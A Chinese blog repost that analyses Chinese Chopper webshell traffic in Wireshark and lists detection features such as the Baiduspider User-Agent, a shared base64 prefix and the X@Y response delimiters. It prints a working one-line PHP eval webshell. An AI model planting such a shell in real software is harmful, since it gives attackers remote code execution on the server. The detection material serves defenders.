【流量特征+webshell】 菜刀 一句话流量分析

news/2024/11/13 9:26:34/文章来源:https://www.cnblogs.com/o-O-oO/p/18370737

连接webshell

准备一句话

<?php eval($_POST[caidao]);?>

打开菜刀连接webshell

使用wireshark查询流量

特征分析
特征一：POST方法，一句话路径

首先，过滤http流量，可以看到有访问webshell后门的路径

特征二：UA头均为百度爬虫标识

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)\r\n

特征三：Key为连接密码，base64前缀相同

base64的前缀均为

QGluaV9zZXQoImRpc3BsYX...

特征四：返回结果在响应包中使用X@Y作为定界符包裹，命令存在[S] [E] 作为定界符

​

原创 Eonian Sharp

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/785383.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Linux 中 sed G选项在行后添加空行

Linux 中 sed G选项在行后添加空行

001、[root@localhost test]# ls a.txt [root@localhost test]# cat a.txt ## 测试数据 dfghghj hgfdwe [root@localhost test]# sed G a.txt ## G添加空行 dfghghjhgfdwe[root@localhost test]# sed G;G a.txt dfghghjhgfdwe[root@localhost test]# sed G;G;G…
阅读更多...
【溯源系列】使用Wireshark分析日志文件：发现有人对网站进行了SQL注入，分析日志找到该IP地址

【溯源系列】使用Wireshark分析日志文件：发现有人对网站进行了SQL注入，分析日志找到该IP地址

工具 Wireshark某公司安全工程师在维护网站时发现有人对网站进行了SQL注入，分析日志找到该IP地址。 要点 SQL.log文件主要显示具体的sql语句】access.log文件主要是记录web页面操作数据库的请求解题很简单，直接打开access.log文件，一步到位，检索sql注入的常见关键词select、…
阅读更多...
【OS系列】程序是怎么一步步变成机器指令的？

【OS系列】程序是怎么一步步变成机器指令的？

程序是怎么一步步变成机器指令的？ 2024年08月22日 12:03 四川 以下文章来源于码农的荒岛求生 ，作者码农的荒岛求生 大家好，今天简单聊聊程序是怎么一步步变成机器指令的。 左边是我们写的代码，右边是CPU执行的机器指令：想让CPU执行代码只需要简单的点击一下这个按钮：可是…
阅读更多...
小米电视主页导航栏修改啦

小米电视主页导航栏修改啦

小米电视导航栏可以修改啦，终于不再杂乱无章了。 步骤一：点击我的，拉到最下方，导航管理步骤二：进入导航管理后，按遥控器OK键，就可以移动了。OK 键 按遥控器菜单键，就可以删除或者添加了。菜单键 就是这么简单，赶紧去试试吧版权申明本文由：二萌生活发布，如需转载请注…
阅读更多...
安装MySQL报错ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost:3306‘ (10061)

安装MySQL报错ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost:3306‘ (10061)

今天要在本地装个mysql，发现mysql-5.7.19-winx64版总是报错由于找不到MSVCP120.dll,无法继续执行代码。重新安装程序可能会解决此问题。，去微软官网找到了最新的Visual C++ Redistributable for Visual Studio，下载后发现还是不停地报错。怀疑是系统不兼容，没办法只好安装m…
阅读更多...
Centos scp 免密传输文件

Centos scp 免密传输文件

mkdir -p ~/.ssh 1、在 A 服务器上，进入.ssh 目录； [root@iZam205rbu8s7yra2fop0nZ ~]# cd ~/.ssh/2、在 A 服务器上面的.ssh 目录下生成密钥； [root@iZam205rbu8s7yra2fop0nZ .ssh]# ssh-keygen -t rsa 生成两个密钥，一个是私钥，一个是公钥；3、在 B 服务器上创建.ssh 文…
阅读更多...
mysql57小版本升级操作指南

mysql57小版本升级操作指南

1. 关停 注意要使用 慢速关闭mysql,这样InnoDB在关闭之前执行完整的清除和更改缓冲区合并。 登录到mysql中 执行 mysql> SET GLOBAL innodb_fast_shutdown=0; mysql> shutdown;2. 备份 注：备份数据目录和应用程序，注意mysql的属主属组 数据目录查找方式： MySQL 的数据…
阅读更多...
MySQL 亿级数据平滑迁移实战

MySQL 亿级数据平滑迁移实战

本文介绍了一次 MySQL 数据迁移的流程，通过方案选型、业务改造、双写迁移最终实现了亿级数据的迁移。作者：来自 vivo 互联网服务器团队- Li Gang本文介绍了一次 MySQL 数据迁移的流程，通过方案选型、业务改造、双写迁移最终实现了亿级数据的迁移。 一、背景 预约业务是 vivo…
阅读更多...
星尘智能发布AI机器人助理Astribot S1

星尘智能发布AI机器人助理Astribot S1

原文链接：https://mp.weixin.qq.com/s/P26zhHzmuqe0M2TDTLRlvg星尘智能很高兴正式发布 AI 机器人助理—— Astribot S1 我们精心打磨了 S1 背后的技术与产品细节， 希望它为你而生，为你而智（Naturally Yours）。星尘智能 S1 产品视频请看：https://www.bilibili.com/video/B…
阅读更多...
再谈《Visual Studio中编写x64汇编的具体方法》

再谈《Visual Studio中编写x64汇编的具体方法》

很久以前，写了一篇 《VS2010中编写x64汇编的具体方法》 当时也没有太深入研究，只是粗粗的实现了功能而已。后来看了微软官方文档，才发现有更简单更合理的设置方法。 微软原文如下： MASM for x64 (ml64.exe) | Microsoft Learn将汇编程序语言文件添加到 Visual Studio C++ 项…
阅读更多...
Linux安装JDK两种方式详细教程(附图)

Linux安装JDK两种方式详细教程(附图)

Linux安装JDK详细教程（图文教程）这里介绍两种方式：yum安装方式和手动安装1、yum安装1.1 查看JDK版本，找到你想要安装的JDK版本，这里以 JDK1.8 为例输入命令：yum -y list java*1.2 安装JDK1.8输入命令：yum install -y java-1.8.0-openjdk.x86_64出现Complete！安装完成。…
阅读更多...
我的新项目又来咯！

我的新项目又来咯！

这次的项目周期计划 1 个月左右，争取带大家快速搞定，能够作为秋招时简历上的亮眼项目~大家好，我是鱼皮，今天分享个我的新项目公开课预告~ 今晚（8 月 22 号）晚 20 点 ，我会继续在 B 站和抖音《程序员鱼皮》账号 直播新项目，依然是从 0 到 1 全程直播开发！ 这次的项目周…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023